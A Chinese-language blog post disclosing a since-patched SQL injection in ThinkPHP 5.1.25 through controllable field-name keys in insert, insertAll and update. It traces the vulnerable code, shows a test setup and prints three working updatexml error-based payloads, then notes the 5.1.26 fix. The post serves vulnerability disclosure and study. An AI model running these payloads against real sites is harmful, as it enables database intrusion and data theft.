0x00 前言
這個洞,早在9月29號的時候我提交給先知,那時候tp還是5.1.25的版本,天還很藍,我也還很年輕。時至今日這個洞依舊沒有審核,而tp在這期間都已經更新到了5.1.29。在最近我去跟蹤的時候,發現這個洞在5.1.26版本被修復了。好吧,既然修復了,那就公開吧,我博客也好久沒有漏洞類文章了。所以說做人還是不能太向錢,有漏洞為什么不直接提給廠商呢?為什么不公開呢?是貪婪讓我變得面目全非XD。
事先說明,這個洞其實很雞肋。
0x01 漏洞詳情
版本:5.1.25
影響方法:insert、insetAll、update
條件:傳入上面方法的參數數組,用戶可控數組的鍵值(說到這里,了解tp的其實應該知道是什么原因了,就是sql語句中的字段名可控導致的注入),在實際利用的時候還要知道表的一個字段名。
thinkphp\libray\think\db\Builder.php parseData函數 直接看解析$data的代碼
跟進parseKey函數,位置:thinkphp\library\think\db\builder\Mysql.php
注意到上面開啟了嚴格模式,key不等於*,所以必然會在兩邊加上反引號。
回到parseData函數,繼續往下走
為了讓$item作為$result數組的key值返回,我們可以讓傳入的數組為一個二維數組,使用表達式方法INC或者DEC,
形如:
$data[key][0]='inc';
同時還需要讓key中包含'.',否則有可能會拋出異常。
而這里的key就是在傳入數據庫中的字段位置,可以注入
同時為了$val[1]不報錯我們需要傳入$data[key][1]=1
嗯,大概分析到這里,有興趣的去跟蹤一下。
0x02 漏洞復現
添加如下代碼至index controller中,分別對應三種方法
public function testsql() { $data = input('data'); var_dump($data); $result = db('user')->insert($data); //$result = db('user')->insertAll($data); //$result = db('user')->where('id',1)->update($data); }
為了方便,修改config/app.php,開啟調試模式
'app_debug' => true
添加個數據庫tptest,下面有一個表user
結構如下:
修改database.php,填寫數據庫信息:
下面是三種方法的payload,其中需要知道表中的一個字段,這里用的是id
insert 方法
payload:
data[id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][0]=inc&data[id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][1]=1
insertAll 方法
因為insertAll 做了一層循環,所以需要傳入一個三維數組。看到thinkphp\library\think\db\Builder.php insertAll()方法
payload:
data[0][id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][0]=inc&data[0][id`)values(updatexml(1,concat(0x7e,user(),0.1),1))%23][1]=1
update 方法
payload:
data[id`%3d%201%20where%201%20and%20updatexml(1,concat(0x7e,user(),0.1),1)%23][0]=inc&data[id`%3d%201%20where%201%20and%20updatexml(1,concat(0x7e,user(),0.1),1)%23][1]=1
0x03 漏洞修復
拉一個tp 5.1.26版本的下來,發現在parseKey方法中做了限制,位置:thinkphp\library\think\db\builder\Mysql.php
對key做了比較嚴格的驗證,限制了可用字符。
0x04 總結
實際中,這種更新,插入的操作大多不可控key值,就算可控key值也比較集中在后台,所以比較雞肋。
還有一篇也是跟tp有關的,待更新。